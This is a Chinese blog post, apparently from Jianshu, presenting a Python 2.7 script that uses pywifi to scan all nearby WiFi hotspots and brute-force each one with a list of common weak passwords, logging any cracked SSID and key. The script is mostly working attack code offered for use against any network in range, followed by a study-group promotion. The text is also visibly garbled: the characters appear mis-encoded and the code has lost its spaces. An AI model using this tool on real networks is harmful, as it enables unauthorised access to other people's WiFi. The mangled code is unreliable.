Python嘗試破解wifi無(wú)線密碼

環(huán)境準(zhǔn)備

python2.7

pywifi模塊

字典

清除系統(tǒng)中的任何wifi連接記錄

導(dǎo)入模塊

這里用的模塊就這三個(gè) pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判斷需要修改,不然會(huì)有很多的提示信息。

frompywifiimport*

importtime

importsys

字典準(zhǔn)備

隨機(jī)搞的wifi弱口令TOP10

12345678

123456789

88888888

1234567890

00000000

87654321

66668888

11223344

147258369

11111111

配置掃描器

推薦掃描時(shí)常可以設(shè)置在15-20秒之間 測(cè)試時(shí)常則可以自定義,考慮到認(rèn)證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒意義 到時(shí)候就算破解成功的熱點(diǎn),信號(hào)也好不到哪里

defmain():

#掃描時(shí)常

scantimes=3

#單個(gè)密碼測(cè)試延遲

testtimes=15

output=sys.stdout

#結(jié)果文件保存路徑

files="TestRes.txt"

#字典列表

keys=open(sys.argv[1],"r").readlines()

print"|KEYS%s"%(len(keys))

#實(shí)例化一個(gè)pywifi對(duì)象

wifi=PyWiFi()

#選擇定一個(gè)網(wǎng)卡并賦值于iface

iface=wifi.interfaces()[0]

#通過(guò)iface進(jìn)行一個(gè)時(shí)常為scantimes的掃描并獲取附近的熱點(diǎn)基礎(chǔ)配置

scanres=scans(iface,scantimes)

#統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量

nums=len(scanres)

print"|SCAN GET%s"%(nums)

print"%s\n%-*s|%-*s|%-*s|%-*s|%-*s|%-*s%*s\n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)

#將每一個(gè)熱點(diǎn)信息逐一進(jìn)行測(cè)試

fori,xinenumerate(scanres):

#測(cè)試完畢后,成功的結(jié)果講存儲(chǔ)到files中

res=test(nums-i,iface,x,keys,output,testtimes)

ifres:

open(files,"a").write(res)

掃描周圍熱點(diǎn)

defscans(face,timeout):

#開始掃描

face.scan()

time.sleep(timeout)

#在若干秒后獲取掃描結(jié)果

returnface.scan_results()

熱點(diǎn)測(cè)試

這里后續(xù)推薦將掃描過(guò)程數(shù)據(jù)入庫(kù),防止重復(fù)掃描,且更加直觀。

deftest(i,face,x,key,stu,ts):

#顯示對(duì)應(yīng)網(wǎng)絡(luò)名稱,考慮到部分中文名嘖顯示bssid

showID=x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid

#迭代字典并進(jìn)行爆破

forn,kinenumerate(key):

x.key=k.strip()

#移除所有熱點(diǎn)配置

face.remove_all_network_profiles()

#講封裝好的目標(biāo)嘗試連接

face.connect(face.add_network_profile(x))

#初始化狀態(tài)碼,考慮到用0會(huì)發(fā)生些邏輯錯(cuò)誤

code=10

t1=time.time()

#循環(huán)刷新狀態(tài),如果置為0則密碼錯(cuò)誤,如超時(shí)則進(jìn)行下一個(gè)

whilecode!=0:

time.sleep(0.1)

code=face.status()

now=time.time()-t1

ifnow>ts:

break

stu.write("\r%-*s|%-*s|%s|%*.2fs|%-*s|%-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))

stu.flush()

ifcode==4:

face.disconnect()

return"%-*s|%s|%*s|%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)

returnFalse

案例

這里顯示本次測(cè)試使用了11個(gè)弱口令,并掃描到了20個(gè)熱點(diǎn),然后開始坑爹的跑起來(lái)了

WIFIID熱點(diǎn)的id號(hào) 每跑一個(gè)會(huì)減1

SSID OR BSSID熱點(diǎn)的ssid名或mac地址

N對(duì)熱點(diǎn)的連接狀態(tài),這個(gè)在

time當(dāng)前所花去的時(shí)間

signal熱點(diǎn)的信號(hào)強(qiáng)度,若小越好

KEYNUM測(cè)試密碼的id 每跑一個(gè)會(huì)減1

KEY當(dāng)前測(cè)試的密碼

無(wú)論是學(xué)習(xí)任何一門語(yǔ)言,基礎(chǔ)知識(shí),就是基礎(chǔ)功非常的重要,找一個(gè)有豐富編程經(jīng)驗(yàn)的老師或者師兄帶著你會(huì)少走很多彎路, 你的進(jìn)步速度也會(huì)快很多,無(wú)論我們學(xué)習(xí)的目的是什么,不得不說(shuō)Python真的是一門值得你付出時(shí)間去學(xué)習(xí)的優(yōu)秀編程

語(yǔ)言。我有建立一個(gè)python學(xué)習(xí)交流群,在群里我們相互幫助,相互關(guān)心,相互分享內(nèi)容,這樣出問(wèn)題幫助你的人就比較多,群號(hào)是304加上050最後799,這樣就可以找到大神聚合的群,如果你只愿意別人幫助你,不愿意分享或者幫助別人,那就請(qǐng)不要加了,你把你會(huì)的告訴別人這是一種分享。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 134,969評(píng)論 19 139
  • 背景 一年多以前我在知乎上答了有關(guān)LeetCode的問(wèn)題, 分享了一些自己做題目的經(jīng)驗(yàn)。 張土汪:刷leetcod...
    土汪閱讀 12,774評(píng)論 0 33
  • 打著招聘的幌子招收學(xué)員。 今天是新開學(xué)報(bào)名的日子,一大堆的雜事正等著做了。八點(diǎn)室友叫醒了所有人,因?yàn)?..
    潮汐有信閱讀 314評(píng)論 0 0
  • 投射自己今天比昨天在各個(gè)方面進(jìn)步一點(diǎn)點(diǎn),心態(tài)和狀態(tài)進(jìn)步一點(diǎn)點(diǎn),愛自己多一點(diǎn),早晨早起進(jìn)步一點(diǎn)點(diǎn),自己喜歡的事情堅(jiān)持...
    劉娜_3e09閱讀 108評(píng)論 0 2
  • 一、簡(jiǎn)介 像NSArray、NSSet、NSDictionary等集合類均可獲取到NSEnumerator, 該類...
    KODIE閱讀 3,533評(píng)論 0 5